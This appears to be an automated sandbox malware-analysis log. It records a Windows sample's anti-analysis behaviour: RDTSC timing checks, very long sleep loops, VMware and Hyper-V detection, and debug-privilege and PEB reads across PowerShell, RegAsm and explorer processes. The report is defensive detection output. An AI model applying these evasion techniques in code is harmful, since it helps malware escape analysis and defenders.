Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WWAHost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe RDTSC instruction interceptor: First address: 0000000000408A34 second address: 0000000000408A3A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe RDTSC instruction interceptor: First address: 0000000000408DCE second address: 0000000000408DD4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\WWAHost.exe RDTSC instruction interceptor: First address: 0000000003218A34 second address: 0000000003218A3A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\WWAHost.exe RDTSC instruction interceptor: First address: 0000000003218DCE second address: 0000000003218DD4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6788 Thread sleep time: -11068046444225724s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6744 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 6756 Thread sleep time: -70000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1964 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4804 Thread sleep count: 4438 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040 Thread sleep count: 2175 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5456 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6968 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6956 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7040 Thread sleep count: 4180 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1080 Thread sleep count: 554 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7112 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7056 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6524 Thread sleep time: -13835058055282155s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3024 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6772 Thread sleep count: 6258 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6784 Thread sleep count: 1964 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5092 Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6980 Thread sleep time: -922337203685477s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WWAHost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00408D00 rdtsc 15_2_00408D00
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6782 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2784 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 913 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4438 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2175 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4180 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 554 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3746 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3548 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6258
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1964
Contains capabilities to detect virtual machines
Source: C:\Windows\explorer.exe File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#5&1ec51bf7&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe API coverage: 8.5 %
Source: C:\Windows\SysWOW64\WWAHost.exe API coverage: 8.6 %
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: explorer.exe, 00000006.00000002.888130774.000000000056B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllpH
Source: explorer.exe, 00000006.00000000.516443809.00000000005AD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{e6e9dfd8-98f2-11e9-90ce-806e6f6e6963}\DosDevices\D:e!kN
Source: explorer.exe, 00000006.00000000.516443809.00000000005AD000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000001.00000002.409234247.000001FD33770000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.450956664.00000181CCDC5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00408D00 rdtsc 15_2_00408D00
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WWAHost.exe Process token adjusted: Debug
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294D294 mov eax, dword ptr fs:[00000030h] 15_2_0294D294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294D294 mov eax, dword ptr fs:[00000030h] 15_2_0294D294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292AAB0 mov eax, dword ptr fs:[00000030h] 15_2_0292AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292AAB0 mov eax, dword ptr fs:[00000030h] 15_2_0292AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294FAB0 mov eax, dword ptr fs:[00000030h] 15_2_0294FAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029152A5 mov eax, dword ptr fs:[00000030h] 15_2_029152A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029152A5 mov eax, dword ptr fs:[00000030h] 15_2_029152A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029152A5 mov eax, dword ptr fs:[00000030h] 15_2_029152A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029152A5 mov eax, dword ptr fs:[00000030h] 15_2_029152A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029152A5 mov eax, dword ptr fs:[00000030h] 15_2_029152A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942ACB mov eax, dword ptr fs:[00000030h] 15_2_02942ACB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942AE4 mov eax, dword ptr fs:[00000030h] 15_2_02942AE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02915210 mov eax, dword ptr fs:[00000030h] 15_2_02915210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02915210 mov ecx, dword ptr fs:[00000030h] 15_2_02915210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02915210 mov eax, dword ptr fs:[00000030h] 15_2_02915210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02915210 mov eax, dword ptr fs:[00000030h] 15_2_02915210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291AA16 mov eax, dword ptr fs:[00000030h] 15_2_0291AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291AA16 mov eax, dword ptr fs:[00000030h] 15_2_0291AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DAA16 mov eax, dword ptr fs:[00000030h] 15_2_029DAA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DAA16 mov eax, dword ptr fs:[00000030h] 15_2_029DAA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02933A1C mov eax, dword ptr fs:[00000030h] 15_2_02933A1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02928A0A mov eax, dword ptr fs:[00000030h] 15_2_02928A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02954A2C mov eax, dword ptr fs:[00000030h] 15_2_02954A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02954A2C mov eax, dword ptr fs:[00000030h] 15_2_02954A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DEA55 mov eax, dword ptr fs:[00000030h] 15_2_029DEA55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029A4257 mov eax, dword ptr fs:[00000030h] 15_2_029A4257
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919240 mov eax, dword ptr fs:[00000030h] 15_2_02919240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919240 mov eax, dword ptr fs:[00000030h] 15_2_02919240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919240 mov eax, dword ptr fs:[00000030h] 15_2_02919240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02919240 mov eax, dword ptr fs:[00000030h] 15_2_02919240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0295927A mov eax, dword ptr fs:[00000030h] 15_2_0295927A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029CB260 mov eax, dword ptr fs:[00000030h] 15_2_029CB260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029CB260 mov eax, dword ptr fs:[00000030h] 15_2_029CB260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E8A62 mov eax, dword ptr fs:[00000030h] 15_2_029E8A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942397 mov eax, dword ptr fs:[00000030h] 15_2_02942397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294B390 mov eax, dword ptr fs:[00000030h] 15_2_0294B390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D138A mov eax, dword ptr fs:[00000030h] 15_2_029D138A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029CD380 mov ecx, dword ptr fs:[00000030h] 15_2_029CD380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02921B8F mov eax, dword ptr fs:[00000030h] 15_2_02921B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02921B8F mov eax, dword ptr fs:[00000030h] 15_2_02921B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02944BAD mov eax, dword ptr fs:[00000030h] 15_2_02944BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02944BAD mov eax, dword ptr fs:[00000030h] 15_2_02944BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02944BAD mov eax, dword ptr fs:[00000030h] 15_2_02944BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E5BA5 mov eax, dword ptr fs:[00000030h] 15_2_029E5BA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029953CA mov eax, dword ptr fs:[00000030h] 15_2_029953CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029953CA mov eax, dword ptr fs:[00000030h] 15_2_029953CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029403E2 mov eax, dword ptr fs:[00000030h] 15_2_029403E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029403E2 mov eax, dword ptr fs:[00000030h] 15_2_029403E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029403E2 mov eax, dword ptr fs:[00000030h] 15_2_029403E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029403E2 mov eax, dword ptr fs:[00000030h] 15_2_029403E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029403E2 mov eax, dword ptr fs:[00000030h] 15_2_029403E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029403E2 mov eax, dword ptr fs:[00000030h] 15_2_029403E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293DBE9 mov eax, dword ptr fs:[00000030h] 15_2_0293DBE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D131B mov eax, dword ptr fs:[00000030h] 15_2_029D131B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E8B58 mov eax, dword ptr fs:[00000030h] 15_2_029E8B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291F358 mov eax, dword ptr fs:[00000030h] 15_2_0291F358
